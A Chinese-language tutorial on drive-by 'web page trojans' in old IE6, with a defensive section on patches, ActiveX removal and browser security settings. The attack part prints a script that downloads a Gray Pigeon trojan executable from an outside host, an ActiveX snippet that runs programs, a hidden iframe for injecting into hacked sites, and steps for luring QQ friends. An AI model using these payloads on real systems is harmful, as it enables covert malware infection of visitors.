1.網(wǎng)頁(yè)木馬從原理
如果你訪問××網(wǎng)站（國(guó)內(nèi)某門戶網(wǎng)站），你就會(huì)中灰鴿子木馬。這是我一黑客朋友給我說(shuō)的一句說(shuō)。打開該網(wǎng)站的首頁(yè)，經(jīng)檢查，我確實(shí)中了灰鴿子。怎么實(shí)現(xiàn)的呢？他說(shuō)，他侵入了該網(wǎng)站的服務(wù)器并在網(wǎng)站主頁(yè)上掛了網(wǎng)頁(yè)木馬；一些安全專家常說(shuō)，不要打開陌生人發(fā)來(lái)的網(wǎng)址，為什么？因?yàn)樵摼W(wǎng)址很有可能就是一些不懷好意者精心制作的網(wǎng)頁(yè)木馬。
以上只是網(wǎng)頁(yè)木馬的兩種形式，實(shí)際上網(wǎng)頁(yè)木馬還可以掛在多媒體文件（RM、RMVB、WMV、WMA、Flash）、電子郵件、論壇等多種文件和場(chǎng)合上。很可怕吧，那么用戶如何防范網(wǎng)頁(yè)木馬呢？下面我們就先從網(wǎng)頁(yè)木馬的攻擊原理說(shuō)起。
一、網(wǎng)頁(yè)木馬的攻擊原理 首先明確，網(wǎng)頁(yè)木馬實(shí)際上是一個(gè)HTML網(wǎng)頁(yè)，與其它網(wǎng)頁(yè)不同的是該網(wǎng)頁(yè)是黑客精心制作的，用戶一旦訪問了該網(wǎng)頁(yè)就會(huì)中木馬。為什么說(shuō)是黑客精心制作的呢？因?yàn)榍度朐谶@個(gè)網(wǎng)頁(yè)中的腳本恰如其分地利用了IE瀏覽器的漏洞，讓IE在后臺(tái)自動(dòng)下載黑客放置在網(wǎng)絡(luò)上的木馬并運(yùn)行（安裝）這個(gè)木馬，也就是說(shuō)，這個(gè)網(wǎng)頁(yè)能下載木馬到本地并運(yùn)行（安裝）下載到本地電腦上的木馬，整個(gè)過(guò)程都在后臺(tái)運(yùn)行，用戶一旦打開這個(gè)網(wǎng)頁(yè)，下載過(guò)程和運(yùn)行（安裝）過(guò)程就自動(dòng)開始。
有朋友會(huì)說(shuō)，打開一個(gè)網(wǎng)頁(yè)，IE瀏覽器真的能自動(dòng)下載程序和運(yùn)行程序嗎？如果IE真的能肆無(wú)忌憚地任意下載和運(yùn)行程序，那天下還不大亂。實(shí)際上，為了安全，IE瀏覽器是禁止自動(dòng)下載程序特別是運(yùn)行程序的，但是，IE瀏覽器存在著一些已知和未知的漏洞，網(wǎng)頁(yè)木馬就是利用這些漏洞獲得權(quán)限來(lái)下載程序和運(yùn)行程序的。下面我舉IE瀏覽器早期的一個(gè)漏洞來(lái)分別說(shuō)明這兩個(gè)問題。
⒈自動(dòng)下載程序 <SCRIPT LANGUAGE="icyfoxlovelace" src="
hxxp://go163go.vicp.net/1.exe"></SCRIPT>
小提示：代碼說(shuō)明
a. 代碼中“src”的屬性為程序的網(wǎng)絡(luò)地址，本例中“
http://go163go.vicp.net/1.exe”為我放置在自己Web服務(wù)器上的灰鴿子服務(wù)端安裝程序，這段代碼能讓網(wǎng)頁(yè)下載該程序到瀏覽它的電腦上。
b. 也可以把木馬程序上傳到免費(fèi)的主頁(yè)空間上去，但免費(fèi)空間出于安全的考慮，多數(shù)不允許上傳exe文件，黑客可能變通一下把擴(kuò)展名exe改為bat或com，這樣他們就可以把這些程序上傳到服務(wù)器上了。
把這段代碼插入到網(wǎng)頁(yè)源代碼的</BODY>…</BODY>之間（如圖1），然后用沒打補(bǔ)丁的IE6打開，接下來(lái)，打開IE的臨時(shí)目錄<Temporary Internet Files>，你會(huì)發(fā)現(xiàn)，在該文件夾中有一個(gè)“1.exe”文件，這也就是說(shuō)，該網(wǎng)頁(yè)已自動(dòng)下載了我放置在Web服務(wù)器上的灰鴿子木馬。
為什么一定要用灰鴿子木馬呢？因?yàn)榛银澴邮欠磸椥湍抉R，該木馬能繞過(guò)天網(wǎng)等大多數(shù)防火墻的攔截，中馬后，服務(wù)端即被控端能主動(dòng)連接控制端（客戶端），也就是說(shuō)，一旦被控端連接到Internet，在控制端那里，被控端就會(huì)“自動(dòng)上線”（如圖2）。
⒉自動(dòng)運(yùn)行程序
<SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT>
把這段代碼插入到網(wǎng)頁(yè)源代碼的</BODY>…</BODY>之間，然后用IE打開該網(wǎng)頁(yè)，你會(huì)發(fā)現(xiàn)，這段代碼可以在沒有打相關(guān)補(bǔ)丁的IE6中自動(dòng)打開記事本。
這段代碼使用了shell.application控件，該控件能使網(wǎng)頁(yè)獲得執(zhí)行權(quán)限，替換代碼中的“Notepad.exe”（記事本）程序，可以用它自動(dòng)運(yùn)行本地電腦上的任意程序。
通過(guò)以上的代碼我們可以看出，利用IE的漏洞，也就是說(shuō)在網(wǎng)頁(yè)中插入適當(dāng)?shù)拇a，IE完全可以自動(dòng)下載和運(yùn)行程序，不過(guò)，IE一旦打了相關(guān)補(bǔ)丁，這些代碼就會(huì)失去作用。另外，這些代碼要運(yùn)行和下載程序，有些殺毒軟件的網(wǎng)頁(yè)監(jiān)控會(huì)視它們?yōu)椴《?，為了逃避追殺，黑客可能?huì)使用一些工具對(duì)網(wǎng)頁(yè)的源代碼進(jìn)行加密處理（如圖3）。
二、網(wǎng)頁(yè)木馬的基本用法
理解了網(wǎng)頁(yè)木馬攻擊的原理，我們可以制作自己的網(wǎng)頁(yè)木馬，但這需要你根據(jù)IE漏洞寫出利用代碼。實(shí)際上，在網(wǎng)上有很多高手已寫出了一些漏洞的利用代碼，有的還把它寫成了可視化的程序。在搜索引擎輸入“網(wǎng)頁(yè)木馬生成器”進(jìn)行搜索，你會(huì)發(fā)現(xiàn)，在網(wǎng)上有很多利用IE的各種漏洞編寫的網(wǎng)頁(yè)木馬生成器，它們大都為可視化的程序，只要你有一個(gè)木馬（該木馬必須把它放置到網(wǎng)絡(luò)上），利用這些生成器你就可以立即生成一個(gè)網(wǎng)頁(yè)，該網(wǎng)頁(yè)就是網(wǎng)頁(yè)木馬，只要他人打開這個(gè)網(wǎng)頁(yè)，該網(wǎng)頁(yè)就可以自動(dòng)完成下載木馬并運(yùn)行（安裝）木馬的過(guò)程。
在我的電腦上我已下載了一個(gè)網(wǎng)頁(yè)木馬生成器，下面我們來(lái)看怎么生成網(wǎng)頁(yè)木馬并讓他人中木馬。
第一步：?jiǎn)?dòng)該網(wǎng)頁(yè)木馬生成器，如圖4所示，在文本框中輸入木馬的網(wǎng)絡(luò)地址，最后單擊“生成”。
第二步：在網(wǎng)頁(yè)木馬生成器的安裝文件夾會(huì)生成一個(gè)網(wǎng)頁(yè)文件，該文件就是我們?cè)谏弦徊缴傻木W(wǎng)頁(yè)木馬。上傳該文件到自己的Web服務(wù)器或免費(fèi)主面空間。
現(xiàn)在好了，把上述網(wǎng)頁(yè)在服務(wù)器上的地址（網(wǎng)址）通過(guò)QQ發(fā)給自己的好友，一旦他訪問了該網(wǎng)頁(yè)，該網(wǎng)頁(yè)就會(huì)在他的電腦上自動(dòng)下載并運(yùn)行你放置在網(wǎng)絡(luò)上的木馬。
現(xiàn)在你該明白安全專家勸告的“不要打開陌生人發(fā)來(lái)的網(wǎng)絡(luò)地址”這句話的真諦了吧！實(shí)際上，即使人人都不打開陌生人發(fā)來(lái)的網(wǎng)址，也仍然有一些人“飛蛾補(bǔ)燈，自尋死路”，因?yàn)槿舸蟮腎nternet，總會(huì)有一些人會(huì)有意或無(wú)意地訪問這些網(wǎng)址，而且，有些網(wǎng)頁(yè)木馬，還掛在一些知名網(wǎng)站上（根據(jù)知名網(wǎng)站的訪問量，你算算吧，每天有多少人中了木馬?。?br>
小提示：你可能還沒想到，看電影，在論壇查看或回復(fù)帖子也能中木馬。實(shí)際上，網(wǎng)頁(yè)木馬還可以掛在多媒體文件、電子郵件、論壇、CHM電子書上，這樣，用戶一旦觀看電影、查看或預(yù)覽郵件（主要是一些用電子郵件群發(fā)器發(fā)送的垃圾郵件）、參與帖子，打開電子書，用戶就會(huì)中網(wǎng)頁(yè)木馬。
在下面我們只介紹黑客如何在知名網(wǎng)站上掛網(wǎng)頁(yè)木馬。下面來(lái)看這一段代碼：iframe src="
http://go163go.vicp.net/hk.htm" width="0" height="0" frameborder="0"></iframe>
小提示：“src”的屬性“
http://go163go.vicp.net/hk.htm”是上傳到服務(wù)器上的網(wǎng)頁(yè)木馬的網(wǎng)址。
把這段代碼插入到某門戶網(wǎng)站首頁(yè)源代碼的</BODY>…</BODY>之間，從表面上看，插入后該門戶的首頁(yè)并沒有什么變化，但是，所有訪問了該門戶網(wǎng)站首頁(yè)的人都會(huì)中木馬，為什么會(huì)這樣呢？這是因?yàn)檫@段代碼中<iframe>標(biāo)簽把網(wǎng)頁(yè)木馬網(wǎng)頁(yè)隱藏性地“包含”在了插入代碼的網(wǎng)頁(yè)當(dāng)中。
<iframe>也叫浮動(dòng)幀標(biāo)簽，它可以把一個(gè)HTML網(wǎng)頁(yè)嵌入到另一個(gè)網(wǎng)頁(yè)里實(shí)現(xiàn)“畫中畫”的效果（如圖5），被嵌入的網(wǎng)頁(yè)可以控制寬、高以及邊框大小和是否出現(xiàn)滾動(dòng)條等。在上代代碼中，因?yàn)榘褜挘╳idth）、高（height）、邊框（frameborder）都設(shè)置為了“0”，所以，上述代碼插入到門戶網(wǎng)站的首頁(yè)后，網(wǎng)站的首頁(yè)不會(huì)發(fā)生變化，但是，由于嵌入的網(wǎng)頁(yè)實(shí)際上已經(jīng)打開了，所以網(wǎng)頁(yè)上的下載木馬和運(yùn)行木馬的腳本還是會(huì)隨著門戶首頁(yè)的打開而執(zhí)行的。
也許有人會(huì)問，如何把上述代碼插入到門戶網(wǎng)站首頁(yè)的源代碼中？這個(gè)問題問得好，本人才疏學(xué)淺，確實(shí)無(wú)法進(jìn)入他們的服務(wù)器修改網(wǎng)頁(yè)，但是黑客如果發(fā)現(xiàn)了這些服務(wù)器上的漏洞且獲得了webshell權(quán)限，那么修改他們的網(wǎng)頁(yè)就跟在本地制作一個(gè)網(wǎng)頁(yè)一樣容易。
有人還問，拿到服務(wù)器的webshell權(quán)限容易嗎？如果你對(duì)網(wǎng)絡(luò)安全比較關(guān)注，你會(huì)發(fā)現(xiàn)，經(jīng)常有這個(gè)網(wǎng)站被黑了，那個(gè)網(wǎng)站的主頁(yè)被修改了的新聞爆出。
有人還問，門戶的服務(wù)器幾乎無(wú)漏洞可找，個(gè)人服務(wù)器的漏洞較多，你能進(jìn)入嗎？本人不是黑客，中華人民共和國(guó)的法律規(guī)定，入侵和篡改他人服務(wù)器上的信息是違法行為，希望大家共同維護(hù)網(wǎng)絡(luò)安全。
以前，在網(wǎng)上打開一些有名的網(wǎng)站時(shí)殺毒軟件也會(huì)報(bào)警，現(xiàn)在你明白其中的道理了吧。有些人在這些網(wǎng)站發(fā)帖子罵娘，看了本文，希望在罵娘時(shí)你也能為那些墊背的站長(zhǎng)想想。
三：網(wǎng)頁(yè)木馬的防范策略 網(wǎng)頁(yè)木馬的防范只靠殺毒軟件和防火墻是遠(yuǎn)遠(yuǎn)不夠的，因?yàn)橐坏┖诳褪褂昧朔磸椂丝诘膫€(gè)人版木馬（個(gè)人反匯編的一些殺毒軟件無(wú)法識(shí)別的木馬），那么殺毒軟件和防火墻就無(wú)可奈何，所以，網(wǎng)頁(yè)木馬的防范要從它的原理入手，從根子上進(jìn)行防范。
㈠即時(shí)安裝安全補(bǔ)丁 網(wǎng)頁(yè)木馬都是利用IE漏洞進(jìn)行傳播的，我們拿冰狐浪子的網(wǎng)頁(yè)木馬（用“冰狐浪子網(wǎng)頁(yè)木馬生成器”制作的網(wǎng)頁(yè)木馬）來(lái)說(shuō)吧，該網(wǎng)頁(yè)能繞過(guò)IE的安全設(shè)置，當(dāng)用戶連接到該網(wǎng)頁(yè)時(shí)，它能在普通用戶不知情的情況下在后臺(tái)下載一個(gè)木馬并運(yùn)行（安裝）該木馬。所以，經(jīng)常到微軟網(wǎng)站去下載并安裝最新的安全補(bǔ)丁是防范網(wǎng)頁(yè)木馬比較有效的辦法。
㈡改名或卸載（反注冊(cè)）最不安全的ActiveXObject（IE插件） 在系統(tǒng)中有些ActiveXObject會(huì)運(yùn)行EXE程序，比如本文中“自動(dòng)運(yùn)行程序”代碼中的Shell.application控件，這些控件一旦在網(wǎng)頁(yè)中獲得了執(zhí)行權(quán)限，那么它就會(huì)變?yōu)槟抉R運(yùn)行的“溫床”，所以把這些控件改名或卸載能徹底防范利用這些控件的網(wǎng)頁(yè)木馬。但是ActiveXObject是為了應(yīng)用而出現(xiàn)的，而不是為了攻擊而出現(xiàn)的，所有的控件都有它的用處，所以在改名或卸載一個(gè)控件之前，你必須確認(rèn)這個(gè)控件是你不需要的，或者即使卸載了也不關(guān)大體的。
?、毙遁d（反注冊(cè)）ActiveXObject
第一步：在“開始”菜單上單擊“運(yùn)行”，輸入“CMD”命令打開命令提示符窗口。
第二步：在命令提示符下輸入“regsvr32.exe shell32.dll /u/s”，然后回車就能將Shell.application控件卸載。
如果日后我們希望繼續(xù)使用這個(gè)控件的話，可以在命令提示符窗口中輸入“regsvr32.exe shell32.dll /i/s”命令將它們重新安裝（注冊(cè)）。在上述命令中：“regsvr32.exe”是注冊(cè)或反注冊(cè)O(shè)LE對(duì)象或控件的命令，是反注冊(cè)參數(shù)，是寂靜模式參數(shù)，為安裝參數(shù)。
?、哺拿鸄ctiveXObject
需要說(shuō)明的是，改名一個(gè)控件時(shí)，控件的名稱和CLSID（Class ID）都要改，并且要改徹底了。下面仍以Shell.application為例來(lái)介紹方法。
第一步：打開注冊(cè)表編輯器，查找“Shell.application”。用這個(gè)方法能找到兩個(gè)注冊(cè)表項(xiàng)：“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。
第二步：把{13709620-C279-11CE-A49E-444553540000}改為{13709620-C279-11CE-A49E-444553540001}，注意，不要和系統(tǒng)中的其它CLSID重復(fù)。
第三步：把“Shell.application”改名為“Shell.application_xxx”。以后用到這個(gè)控件的時(shí)候你使用這個(gè)名稱就可以正常調(diào)用此控件了。
㈢提高IE的安全級(jí)別，禁用腳本和ActiveX控件 經(jīng)筆者的測(cè)試，用冰狐浪子的“網(wǎng)頁(yè)木馬專業(yè)版生成器”生成的網(wǎng)頁(yè)木馬，只要調(diào)高IE的安全級(jí)別，或者禁用腳本，該網(wǎng)頁(yè)木馬就不起作用了。從木馬的攻擊原理我們可以看出，網(wǎng)頁(yè)木馬是利用IE腳本和ActiveX控件上的一些漏洞下載和運(yùn)行木馬的，只要我們禁用了腳本和ActiveX控件，就可以防止木馬的下載和運(yùn)行。
小提示：禁用腳本和ActiveX控件會(huì)使一些網(wǎng)頁(yè)的功能和效果失去作用，所以是否禁用，你要根據(jù)自己對(duì)安全的需要來(lái)定。
第一步：在IE瀏覽器的菜單欄上選擇“工具→Internet選項(xiàng)”打開“Internet選項(xiàng)”對(duì)話框。
第二步：在“安全”選項(xiàng)卡上，在Internet和本地Internet區(qū)域，分別把滑塊移動(dòng)到最高（如圖6），或者點(diǎn)擊“自定義級(jí)別”，在打開的對(duì)話框上禁用腳本，禁用ActiveX控件。
